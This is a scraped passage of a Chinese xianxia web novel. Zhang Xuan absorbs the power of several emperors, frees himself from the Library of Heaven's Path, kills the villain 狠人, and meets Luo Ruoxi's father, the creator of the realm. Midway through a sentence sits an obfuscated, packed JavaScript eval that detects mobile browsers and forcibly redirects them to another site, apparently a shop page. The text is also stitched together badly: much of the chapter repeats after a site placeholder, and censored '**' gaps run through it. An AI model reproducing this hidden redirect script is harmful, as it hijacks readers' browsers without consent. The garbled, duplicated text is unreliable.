为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820528|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零五章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 